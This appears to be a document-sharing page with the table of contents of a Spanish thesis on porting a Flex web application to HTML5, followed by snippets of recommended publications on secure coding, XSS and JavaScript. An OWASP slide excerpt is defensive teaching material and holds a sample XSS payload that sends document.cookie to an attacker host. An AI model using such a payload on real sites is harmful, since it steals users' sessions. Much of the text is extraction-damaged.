Adaptación De Una Aplicación RIA Desarrollada En Flex a Una Aplicación HTML5

Total Page:16

File Type:pdf, Size:1020Kb

Adaptación De Una Aplicación RIA Desarrollada En Flex a Una Aplicación HTML5 Adaptaci´onde una aplicaci´onRIA desarrollada en Flex a una aplicaci´onHTML5 Proyecto Fin de Carrera 10 de julio de 2012 Imanol Luengo Munti´on Director: Juli´anGuti´errezSerrano Ingenier´ıaSuperior en Inform´atica Facultad de Inform´atica de San Sebasti´an(FISS) © 2012 Imanol Luengo Agradecimientos Quiero dar las gracias a la gente que me ha estado apoyando a lo largo del proyecto. A Juanan Pereira e Inko Perurena, que han estado debatiendo conmigo y ayud´andomea sacar el proyecto adelante con dudas, consejos y cr´ıticas:todo ello ha hecho que el proyecto termine en mejor puerto. A mis amigos, que aunque no lo hayan hecho conscientemente, han respetado mis ausencias a lo largo del a~noen ´epocas puntuales: por estudios, trabajo y proyecto. A mi familia, que un a~nom´ashan confiado en mi y me han apoyado en la toma de decisiones sin ponerme muchas pegas. Y, por ´ultimo,a Naroa, una persona muy especial que ha estado a mi lado apoy´andomea lo largo del a~nocon todo lo que necesitara. A todos, gracias. I II ´Indice general 1. Definiciones y acr´onimos 1 2. Introducci´on 5 2.1. Situaci´onInicial . .6 2.2. Razones de la migraci´on . .7 2.3. Necesidades de la migraci´on . .9 3. Objetivos 11 3.1. Objetivos generales del proyecto . 12 3.2. Objetivos gen´ericosde una migraci´onde Flex a HTML5 . 12 3.3. Objetivos concretos de la migraci´onde Babelium Project . 13 3.4. Resultados del proyecto . 13 4. Control del Proyecto 17 4.1. Alcance . 18 4.2. Metodolog´ıa . 20 4.3. Planificaci´ony organizaci´on . 23 4.4. Control . 40 4.5. Riesgos y factibilidad . 44 4.6. Resumen: herramientas utilizadas en el control del proyecto . 49 5. Especificaciones de Babelium Project 51 5.1. Babelium Project - Flex . 52 5.2. Transformaci´ona HTML5 . 60 5.3. Resumen de transformaciones . 68 6. Estrategias y antecedentes de migraci´on 71 6.1. Traducir ActionScript a JavaScript . 72 6.2. Interpretar los archivos binarios Flash (swf) en JavaScript . 72 6.3. Ingenier´ıaInversa . 73 6.4. Migraci´onDirigida por Modelos . 73 III IV ´INDICE GENERAL 6.5. Conclusiones . 75 7. Pr´acticasy patrones de migraci´on 77 7.1. Videoplayer . 79 7.2. Estructura y estilo de la p´agina . 84 7.3. View Components . 92 7.4. Cairngorm JS . 99 7.5. C´odigoActionScript que implementa Cairngorm . 105 8. Migraci´onde Babelium Project 109 8.1. Prueba de concepto . 110 8.2. Infraestructura y gesti´onde sesiones . 116 8.3. Protocolos de comunicaci´on,navegaci´ony API . 129 8.4. Auth Module . 136 8.5. Home Module . 140 8.6. Practice Module . 147 8.7. Localization . 154 8.8. Evaluation Module . 158 9. Conclusiones 165 10.Trabajo Futuro 167 10.1. Adaptaci´ondel reproductor a HTML5 . 168 10.2. Implementaci´onde nuevas funcionalidades . 168 10.3. Cairngorm JS como proyecto independiente . 168 10.4. Documentar y abrir la API . 169 A. Detalles t´ecnicosdel Proyecto 171 A.1. C´odigofuente . 172 A.2. Similitudes entre MXML y CSS3 . 173 A.3. Estructura de carpetas y archivos del proyecto . 176 A.4. Implementaci´ondel framework Cairngorm . 178 A.5. Implementaci´onde la infraestructura en el cliente . 181 A.6. Implementaci´onde la infraestructura en el servidor . 187 B. Gu´ıapara desarrolladores: C´omomigrar un m´odulo 189 B.1. Creaci´onde la l´ogicade representaci´onde la secci´onprincipal del m´odulo 192 B.2. Creaci´onde los contenidos principales del m´odulo . 199 B.3. Eventos y comandos para la navegaci´ondin´amica . 202 B.4. L´ogicade representaci´onde la acci´onn´umero1 . 206 ´INDICE GENERAL V C. Comparaci´onde eficiencia entre Flex y HTML5 213 C.1. Comparaci´onen la primera carga . 214 C.2. Comparaci´onen la carga de contenidos . 216 C.3. Comparaci´onen el uso de Memoria y CPU . 219 C.4. Resumen . 222 D. Sobre Babelium Project 223 D.1. [PR] BabeliumProject.com: practica tu Euskera, mejora tu Ingl´es . 224 Bibliograf´ıa 227 VI ´INDICE GENERAL ´Indice de figuras 2.1. Areas´ que abarca el conjunto de tecnolog´ıasque conforman HTML5 . .8 3.1. Vista r´apidadel m´odulo de grabaci´onen Flex . 15 3.2. Vista r´apidadel m´odulo de grabaci´onen HTML5 . 16 4.1. Gesti´ondel alcance: EDT . 19 4.2. Desarrollo en cascada vs desarrollo ´agil . 21 4.3. Metodolog´ıas´agiles:Scrum . 22 4.4. Arbol´ de planificaci´on´agil . 24 4.5. Planificaci´ondel proyecto: tabl´onprincipal de trello . 25 4.6. Planificaci´ondel proyecto: etiquetas en forma de iteraciones . 26 4.7. Planificaci´ondel proyecto: seguimiento de tareas . 27 4.8. GTD: Evernote . 30 4.9. GTD: Evernote extensi´on para Chrome . 30 4.10. Diagrama gantt planificado antes del inicio del proyecto . 31 4.11. Diagrama gantt planificado . 32 4.12. Diagrama gantt real . 34 5.1. Resumen de esquema de interacci´onCairngorm . 53 5.2. Arquitectura general de la aplicaci´on . 59 5.3. Abstracci´onque ofrece Cairngorm . 60 5.4. Resumen de la arquitectura interna del cliente en Flex . 61 5.5. Resumen de transformaciones Flex a HTML5 . 68 6.1. Proceso de una migraci´ondirigida por modelos (MDM) . 74 6.2. Representaci´ontemporal de dos tipos de migraci´on . 75 7.1. Videoplayer como widget Flash en una p´agina HTML5. 80 7.2. Layout horizontal b´asicoen Flex . 85 7.3. Layout horizontal b´asicoen Flex . 85 7.4. Apariencia de la web de Babelium Project en Flex . 87 7.5. Layout de la web de Babelium Project en Flex . 88 VII VIII ´INDICE DE FIGURAS 7.6. Esquema del layout sem´antico de la web de Babelium Project . 88 7.7. Ejemplo de ViewStack o TabPanel . 92 7.8. Ejemplo de pagination . 92 7.9. Ejemplo de DataTables en Flex . 93 7.10. Ejemplo de rating . 93 7.11. Ejemplo de ViewStack o TabPanel . 95 7.12. Ejemplo de paginaci´onmediante JQuery y jPList . 96 7.13. Ejemplo de paginaci´onmediante JQuery y jPList . 96 7.14. Ejemplo de DataTables mediante JQuery y DataTables . 97 7.15. Ejemplo de DataTables mediante JQuery y DataTables . 98 7.16. Widget de puntuaci´onmediante JQuery y JRaty . 98 7.17. Estructura interna de Cairngorm . 101 8.1. Primer prototipo de la interfaz de la web en HTML5 . 111 8.2. Gateways de la infraestructura inicial de Babelium Project en HTML5 . 112 8.3. Arquitectura de 3 niveles . 116 8.4. Arquitectura de 3 niveles con 3 gateways . 116 8.5. Arquitectura de 3 niveles con distinci´onde 2 niveles en el servidor . 117 8.6. Arquitectura de 3 niveles con distinci´oncon carga din´amicade contenidos 117 8.7. Arquitectura de 3 niveles con distinci´oncon carga din´amicade contenidos 118 8.8. Desglose de Cairngorm en el cliente . 119 8.9. Desglose de BP en el cliente . 120 8.10. Diagrama de secuencia de la acci´onlogin en el cliente . 122 8.11. Arquitectura de la aplicaci´onen el lado servidor . 123 8.12. Widget LoggedIn . 125 8.13. Widget LoggedOut . 125 8.14. Diagrama de secuencia de la acci´onlogin en el servidor . 127 8.15. Diagrama de procesado del Login . 137 8.16. Ventana de login en Flex . 138 8.17. Ventana de login en HTML5 . 138 8.18. Home module en la versi´onde Flex (an´onimo) . 140 8.19. Home module en la versi´onde Flex (identificado) . 141 8.20. Estructura del m´odulohome . 142 8.21. Home de la versi´onHTML5 (an´onimo) . 143 8.22. Home de la versi´onHTML5 (identificado) . 144 8.23. Home HTML5: ´ultimosv´ıdeossubidos . 145 8.24. Home HTML5: ´ultimaactividad del usuario . 146 8.25. M´odulopractice en la versi´onde Flex . 147 8.26. M´odulopractice (Flex): preview de un ejercicio . 148 8.27. M´odulopractice (Flex): grabaci´onde un ejercicio . 148 8.28. Estructura del m´odulopractice . 149 ´INDICE DE FIGURAS IX 8.29. M´odulopractice (HTML5): lista de ejercicios . 150 8.30. M´odulopractice (HTML5): preview de un ejercicio . 151 8.31. M´odulopractice (HTML5): grabaci´onde un ejercicio . 153 8.32. M´oduloevaluaci´onen la versi´onde Flex . 158 8.33. M´oduloevaluaci´on(Flex): evaluando de un ejercicio . 159 8.34. M´oduloevaluaci´on(Flex): revisando la evaluaci´onde un ejercicio . 159 8.35. Estructura del m´oduloevaluation . 160 8.36. M´oduloevaluate (HTML5): lista de ejercicios . 162 8.37. M´oduloevaluate.
Recommended publications
  • Secure Coding Open Source Libraries for Java Programmers
    Secure Coding Open Source Libraries for Java Programmers Jim Manico @manicode OWASP Volunteer - Global OWASP Board Member Independent Secure Coding Instructor - Developer 17+ years - Secure coding educator - Co-author of "Iron Clad Java Building Secure Web ApplicaGons" from Oracle Press McGraw Hill Kama'aina Resident of Kauai, Hawaii - Aloha! Authen;caon Password Storage Defense Overview • Offline A?acks – Avoid Hashing or Encrypon – Use proper key derivaDon funcDons and stretching configuraons – Use random and unique per-user salts • Less effec;ve against targeted aacks, but use them anyhow – Strict Password Policy – Mul;-Factor Authen;caon reference: Openwall and http://www.openwall.com/presentations Password Storage !Store password based on need "Use a salt (de-duplicaon) "BCRYPT/SCRYPT/PBKDF2 (slow, performance hit, easy) "HMAC (requires good key storage, tough) Allow very complex and long passwords 1) Do not limit the type of characters or length of user password • Limiting passwords to protect against injection is doomed to failure • Use proper encoder and other defenses described instead • Set large password length limits • Django DOS vulnerability Salt passwords uniquely for each user 2) Use a cryptographically strong credential-specific salt protect( salt + password ); • Use a 32char or 64char salt (actual size dependent on protection function); • Do not depend on hiding, splitting, or otherwise obscuring the salt Leverage One-Way Keyed Func;ons 3) Impose difficult verification on [only] the attacker (strong/fast) HMAC-SHA-256( key,
    [Show full text]
  • The Virtual Faraday Cage
    University of Calgary PRISM: University of Calgary's Digital Repository Graduate Studies The Vault: Electronic Theses and Dissertations 2013-08-09 The Virtual Faraday Cage King, James King, J. (2013). The Virtual Faraday Cage (Unpublished master's thesis). University of Calgary, Calgary, AB. doi:10.11575/PRISM/28416 http://hdl.handle.net/11023/867 master thesis University of Calgary graduate students retain copyright ownership and moral rights for their thesis. You may use this material in any way that is permitted by the Copyright Act or through licensing that has been assigned to the document. For uses that are not allowable under copyright legislation or licensing, you are required to seek permission. Downloaded from PRISM: https://prism.ucalgary.ca UNIVERSITY OF CALGARY The Virtual Faraday Cage by James King A THESIS SUBMITTED TO THE FACULTY OF GRADUATE STUDIES IN PARTIAL FULFILLMENT OF THE REQUIREMENTS FOR THE DEGREE OF A MASTERS OF SCIENCE DEPARTMENT OF COMPUTER SCIENCE CALGARY, ALBERTA AUGUST, 2013 c James King 2013 Abstract This thesis' primary contribution is that of a new architecture for web application plat- forms and their extensions, entitled \The Virtual Faraday Cage". This new architecture addresses some of the privacy and security related problems associated with third-party extensions running within web application platforms. A proof-of-concept showing how the Virtual Faraday Cage could be implemented is described. This new architecture aims to help solve some of the key security and privacy con- cerns for end-users in web applications by creating a mechanism by which a third-party could create an extension that works with end-user data, but which could never leak such information back to the third-party.
    [Show full text]
  • Code Injection Vulnerabilities in Web Applications - Exemplified at Cross-Site Scripting Martin Johns
    Dissertation zur Erlangung des akademischen Grades eines Doktors der Naturwissenschaften Code Injection Vulnerabilities in Web Applications - Exemplified at Cross-site Scripting Martin Johns Eingereicht an der Fakult¨atf¨urInformatik und Mathematik der Universit¨atPassau Gutachter: Prof. Dr. Joachim Posegga Prof. Dr. Dieter Gollmann Submitted April 14th 2009, defended July 22nd 2009 2 Abstract The majority of all security problems in today’s Web applications is caused by string- based code injection, with Cross-site Scripting (XSS) being the dominant representative of this vulnerability class. This thesis discusses XSS and suggests defense mechanisms. We do so in three stages: First, we conduct a thorough analysis of JavaScript’s capabilities and explain how these capabilities are utilized in XSS attacks. We subsequently design a systematic, hierarchical classification of XSS payloads. In addition, we present a comprehensive sur- vey of publicly documented XSS payloads which is structured according to our proposed classification scheme. Secondly, we explore defensive mechanisms which dynamically prevent the execution of some payload types without eliminating the actual vulnerability. More specifically, we discuss the design and implementation of countermeasures against the XSS payloads “Session Hijacking”, “Cross-site Request Forgery”, and attacks that target intranet re- sources. We build upon this and introduce a general methodology for developing such countermeasures: We determine a necessary set of basic capabilities an adversary needs for successfully executing an attack through an analysis of the targeted payload type. The resulting countermeasure relies on revoking one of these capabilities, which in turn renders the payload infeasible. Finally, we present two language-based approaches that prevent XSS and related vul- nerabilities: We identify the implicit mixing of data and code during string-based syn- tax assembly as the root cause of string-based code injection attacks.
    [Show full text]
  • Javascript: the First 20 Years
    JavaScript: The First 20 Years ALLEN WIRFS-BROCK, Wirfs-Brock Associates, Inc., USA BRENDAN EICH, Brave Software, Inc., USA Shepherds: Sukyoung Ryu, KAIST, South Korea Richard P. Gabriel: poet, writer, computer scientist How a sidekick scripting language for Java, created at Netscape in a ten-day hack, ships first as a de facto Web standard and eventually becomes the world’s most widely used programming language. This paper tells the story of the creation, design, evolution, and standardization of the JavaScript language over the period of 1995–2015. But the story is not only about the technical details of the language. It is also the story of how people and organizations competed and collaborated to shape the JavaScript language which dominates the Web of 2020. CCS Concepts: • General and reference ! Computing standards, RFCs and guidelines; • Information systems ! World Wide Web; • Social and professional topics ! History of computing; History of programming languages; • Software and its engineering ! General programming languages; Scripting languages. Additional Key Words and Phrases: JavaScript, ECMAScript, Standards, Web browsers, Browser game theory, History of programming languages ACM Reference Format: Allen Wirfs-Brock and Brendan Eich. 2020. JavaScript: The First 20 Years. Proc. ACM Program. Lang. 4, HOPL (June 2020), 190 pages. https://doi.org/10.1145/3386327 1 INTRODUCTION In 2020, the World Wide Web is ubiquitous with over a billion websites accessible from billions of Web-connected devices. Each of those devices runs a Web browser or similar program which is able to process and display pages from those sites. The majority of those pages embed or load source code written in the JavaScript programming language.
    [Show full text]
  • TESIS JOSE MAZA 2018.Pdf
    UNIVERSIDAD PARTICULAR DE CHICLAYO FACULTAD DE ARQUITECTURA Y URBANISMO E INGENIERIAS ESCUELA PROFESIONAL DE INGENIERIA INFORMATICA Y DE SISTEMAS TRABAJO DE SUFICIENCIA PROFESIONAL “IMPLEMENTACIÓN DE UNA APLICACIÓN WEB PARA EL SEGUIMIENTO DE PERSONAS MAYORES DE EDAD UTILIZANDO GEOLOCALIZACIÓN DESDE UN DISPOSITIVO ANDROID CONECTADO A UN SERVIDOR WEB CON MYSQL” PARA OPTAR EL TÍTULO PROFESIONAL DE: INGENIERO INFORMÁTICO Y DE SISTEMAS AUTOR: Bach. Maza Montes Jose Waldir Chiclayo, mayo de 2017 SUSTENTACIÓN DE TRABAJO DE SUFICIENCIA PROFESIONAL TITULO: “IMPLEMENTACIÓN DE UNA APLICACIÓN WEB PARA EL SEGUIMIENTO DE PERSONAS MAYORES DE EDAD UTILIZANDO GEOLOCALIZACIÓN DESDE UN DISPOSITIVO ANDROID CONECTADO A UN SERVIDOR WEB CON MYSQL" Presentado como requisito para optar el Título Profesional de INGENIERO INFORMÁTICO Y DE SISTEMAS, sustentado por: ___________________________________ Jose Waldir Maza Montes Bachiller en Ingeniería Informática y de Sistemas Aprobado por los siguientes Miembros de Jurado: Ing. Cristian Quesada Machado PRESIDENTE Ing. Eduardo Arrascue Becerra SECRETARIO Ing. Luis Aguilar Fernández VOCAL Fecha de Sustentación: Chiclayo, 19 de mayo de 2017 2 DEDICATORIA El presente se lo dedico a mi dios quien supo guiarme por el buen camino, darme fuerzas para seguir adelante y no desmayar en los problemas que se presentaban, enseñándome a encarar las actividades sin perder nunca la dignidad ni desfallecer en el intento. A mi familia quienes por ellos soy lo que soy. Para mis padres por su apoyo consejos, comprensión, amor, ayuda en los momentos difíciles, y por ayudarme con los recursos necesarios para estudiar. Me han dado todo lo que soy como persona, mis valores, mis principios, mi carácter, mi empeño, mi perseverancia, mi coraje para conseguir mis objetivos.
    [Show full text]
  • 3Rd USENIX Conference on Web Application Development (Webapps ’12)
    conference proceedings Proceedings of the 3rd USENIX Conference Application on Web Development 3rd USENIX Conference on Web Application Development (WebApps ’12) Boston, MA, USA June 13, 2012 Boston, MA, USA Sponsored by June 13, 2012 © 2012 by The USENIX Association All Rights Reserved This volume is published as a collective work. Rights to individual papers remain with the author or the author’s employer. Permission is granted for the noncommercial reproduction of the complete work for educational or research purposes. Permission is granted to print, primarily for one person’s exclusive use, a single copy of these Proceedings. USENIX acknowledges all trademarks herein. ISBN 978-931971-94-2 USENIX Association Proceedings of the 3rd USENIX Conference on Web Application Development June 13, 2012 Boston, MA, USA Conference Organizers Program Chair Michael Maximilien, IBM Research—Watson Program Committee Patrick Chanezon, VMware, Inc. Christopher Grier, University of California, Berkeley Robert Johnson, Facebook, Inc. Emre Kıcıman, Microsoft Research Raffi Krikorian, Twitter, Inc. James Mickens, Microsoft Research Subbu Subramanian, Facebook, Inc. Samuel Talmadge King, University of Illinois at Urbana-Champaign The USENIX Association Staff External Reviewers David Huang Ajith Ranabahu WebApps ’12: 3rd USENIX Conference on Web Application Development June 13, 2012 Boston, MA, USA Message from the Program Chair ................................................................ v Wednesday, June 13 11:00–12:30 Papers 1: JavaScript, Social Modeling
    [Show full text]
  • Outcomes & Operational Guide
    Outcomes & Operational Guide Table of Contents Type chapter title (level 1) .............................................................................................................. 1 Type chapter title (level 2) ............................................................................................................ 2 Type chapter title (level 3) ....................................................................................................... 3 Type chapter title (level 1) .............................................................................................................. 4 Type chapter title (level 2) ............................................................................................................ 5 Type chapter title (level 3) ....................................................................................................... 6 Introduction Summit Statistics # Attendees 30 Countries Represented Belgium India Saudi Arabia Brazil Indonesia Slovakia Canada Ireland Singapore China Israel Spain Croatia Italy Sweden Czech Republic Malaysia Switzerland Finland Mexico Syria Germany Netherlands UK Greece Poland United States Hong Kong Portugal Uruguay 44 OWASP Chapters represented Alabama (US) Hong Kong Porto Alegre (Brazil) Atlanta, GA (US) India Portugal Austin, TX (US) Indonesia Recife (Brazil) Bay Area, CA (US) Israel Rochester, NY (US) Belgium Italy Salt Lake, UT (US) Brasilia (Brazil) London (UK) San Antonio, TX (US) Campinas ( Brazil) Long Island, NY (US) Sao Paulo (Brazil) Croatia Malaysia Slovakia
    [Show full text]
  • OWASP Top Ten Proactive Controls 2.0 OWASP : Core Mission
    OWASP Top Ten Proactive Controls 2.0 OWASP : Core Mission The Open Web Application Security Project (OWASP) is a 501c3 not-for-profit also registered in Europe as a worldwide charitable organization focused on improving the security of software. Our mission is to make application security visible, so that people and organizations can make informed decisions about true application security risks. Everyone is welcomed to participate in OWASP and all of our materials are available under free and open software licenses. OWASP Top Ten Proactive Controls v2 … What’s new ? Introducing new " proactive controls " to the Top Ten list. More practical examples (show cases). A large number of contributors from the (non-)OWASP Community. Mobile contents : some best practices to consider when building mobile apps (secure storage, authentication, etc.). OWASP Top Ten Proactive Controls – v2 1A1 – Verify for A2 – Parameterize A3 – Encode Data A4 – Validate All Security Early and Queries Inputs Often A5 – Implement A6 – Implement A7 – Protect Data A8 – Implement Identity and Appropriate Access Logging and Authentication Controls Intrusion Detection Controls A9 – Leverage A10 – Error and Security Exception Handling Frameworks and Libraries C1: Verify For Security Early And Often Verify For Security Early And Often ! Security testing needs to be an integral part of a developer’s software engineering practice. Consider OWASP ASVS as a guide to define security requirements and testing. Convert scanning output into reusable Proactive Controls to avoid entire classes of problems. The DevOps challenge to security … http://fr.slideshare.net/StephendeVries2/continuous-security-testing-with-devops DevOps : continuous delivery pipeline. Mature DevOps velocity is fast : build, test and deploy can be entirely automated.
    [Show full text]
  • Cross Site Scripting Javascript Injection Contextual Output Encoding
    The OWASP Foundation http://www.owasp.org Cross Site Scripting JavaScript Injection Contextual Output Encoding The OWASP Foundation <http://www.owasp.org The OWASP Foundation http://www.owasp.org &lt; Encoding The OWASP Foundation Output http://www.owasp.org Safe ways to represent dangerous characters in a web page HTML Hexadecima Characters Decimal Character Unicode l Set " (double quotation &#34; &#x22; &quot; \u0022 marks) ' (single quotation &#39; &#x27; &apos; \u0027 mark) & &#38; &#x26; &amp; \u0026 (ampersand) < (less than) &#60; &#x3C; &lt; \u003c > (greater &#62; &#x3E; &gt; \u003e than) The OWASP Foundation XSS Attack http://www.owasp.org Payloads – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently The OWASP Foundation http://www.owasp.org Anatomy of a XSS Attack <script>window.location=‘https://evilev iljim.com/unc/data=‘ + document.cookie;</script> <script>document.body.innerHTML=‘<blink >EOIN IS COOL</blink>’;</script> XSS Defense by Data Type and The OWASP Foundation Context http://www.owasp.org Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML
    [Show full text]
  • 6 - 8 De Julio, 2015 Red De Directores De Tecnologías De Información Y Viña Del Mar, Chile Comunicación De Las Universidades Latinoamericanas (TICAL)
    ACTAS Quinta Conferencia de Directores de Tecnología de Información, TICAL 2015 6 - 8 de julio, 2015 Red de Directores de Tecnologías de Información y Viña del Mar, Chile Comunicación de las Universidades Latinoamericanas (TICAL) Una comunidad http://tical2015.redclara.net/ ACTAS TICAL 2015 Casino - Hotel - Centro de Eventos Enjoy, Viña del Mar, Chile 6 al 8 de julio de 2015 Comité de programa: Ernesto Chinkes, Universidad de Buenos Aires. Argentina (Presidente) Ruth Alvarez, Escuela Superior Politécnica del Litoral. Ecuador Fernando Fajardo, Universidad Autónoma de Chile. Chile Roberto Price, Pontificia Universidad Católica de Chile. Chile Ronald Vargas, Universidad Nacional. Costa Rica Gabriel Silva, Universidad Federal Rio de Janeiro. Brasil Nilo Carrasco, Universidad Nacional Mayor de San Marcos. Perú RedCLARA (http://www.redclara.net) Fecha en que se terminó la presente edición: 02-10-2015 ISBN: 978-956-9390-04-3 Copyright de la presente edición: ACTAS TICAL 2015 – Casino - Hotel - Centro de Eventos Enjoy, Viña del Mar, Chile, 6 al 8 de julio de 2015, por RedCLARA, se encuentra bajo una Licencia Creative Commons Atribución-NoComercial-SinDerivadas 3.0 Unported. ACTAS TICAL 2015 Casino - Hotel - Centro de Eventos Enjoy, Viña del Mar, Chile 6 al 8 de julio de 2015 ÍNDICE DE CONTENIDOS SESIÓN INFRAESTRUCTURAS 15 Alternativas para la Integración de Plataformas Propietarias Heterogéneas de VoIP y Datos en redes LAN 31 Pruebas y Análisis de la Movilidad IPv6 en la UNAM 45 SmartWifi, plataforma para la gestión inteligente del acceso a la
    [Show full text]
  • Lulu Island Bog Report
    A Biophysical Inventory and Evaluation of the Lulu Island Bog Richmond, British Columbia Neil Davis and Rose Klinkenberg, Editors A project of the Richmond Nature Park Society Ecology Committee 2008 Recommended Citation: Davis, Neil and Rose Klinkenberg (editors). 2008. A Biophysical Inventory and Evaluation of the Lulu Island Bog, Richmond, British Columbia. Richmond Nature Park Society, Richmond, British Columbia. Title page photograph and design: David Blevins Production Editor: Rachel Wiersma Maps and Graphics: Jose Aparicio, Neil Davis, Gary McManus, Rachel Wiersma Publisher: Richmond Nature Park Society Printed by: The City of Richmond Additional Copies: Richmond Nature Park 11851 Westminster Highway Richmond, BC V6X 1B4 E-mail: [email protected] Telephone: 604-718-6188 Fax: 604-718-6189 Copyright Information Copyright © 2008. All material found in this publication is covered by Canadian Copyright Laws. Copyright resides with the authors and photographers. Authors: Lori Bartley, Don Benson, Danielle Cobbaert, Shannon Cressey, Lori Daniels, Neil Davis, Hugh Griffith, Leland Humble, Aerin Jacobs, Bret Jagger, Rex Kenner, Rose Klinkenberg, Brian Klinkenberg, Karen Needham, Margaret North, Patrick Robinson, Colin Sanders, Wilf Schofield, Chris Sears, Terry Taylor, Rob Vandermoor, Rachel Wiersma. Photographers: David Blevins, Kent Brothers, Shannon Cressey, Lori Daniels, Jamie Fenneman, Robert Forsyth, Karen Golinski, Hugh Griffith, Ashley Horne, Stephen Ife, Dave Ingram, Mariko Jagger, Brian Klinkenberg, Rose Klinkenberg, Ian Lane, Fred Lang, Gary Lewis, David Nagorsen, David Shackleton, Rachel Wiersma, Diane Williamson, Alex Fraser Research Forest, Royal British Columbia Museum. Please contact the respective copyright holder for permissions to use materials. They may be reached via the Richmond Nature Park at 604-718-6188, or by contacting the editors: Neil Davis ([email protected]) or Rose Klinkenberg ([email protected]).
    [Show full text]
  • SFTB Project Report
    SFTB Project Report A Visual Music Exploration Web Frontend for Music Streaming Services Robert Thurnher, December 2011 Summary This project is in its essence taking the challenge of implementing a prototype app visualizing tunesBag data in a sonarflow way making use of Last.fm API solely via web technologies. So, enabling to visually access a cloud-based music streaming service in innovative ways. It is aimed to be as much as possible standards-based/compliant (as in “things which got commonly coined under the buzzword term HTML5”) with the web tech being used here. That is, usage of any proprietary technologies such as Adobe Flash should be minimized. As a matter of fact, Flash is only used as a fallback strategy within the audio playback component preferring HTML5 <audio> support whenever available and applicable. Overview More or less everything the app does is actually happening on the client side (browser). The app is made with Node.js. Its code is entirely written in CoffeeScript. Building (-> compiling, minifying, etc. deployable code) and dev running is done with Cake. There’s a small server-side component based on Express basically just serving the HTML/CSS/ JS which makes up the actual app. Production code is hosted on Heroku. Furthermore, Stylus is used as a CSS preprocessor and Eco for client-side templating. Additionally, the app’s code is structured as CommonJS modules being “stitched” together. The app framework of choice here’s Backbone.js keeping the app’s structure itself sane and well designable. This generally provides some kind of MVC-styled container ready to use.
    [Show full text]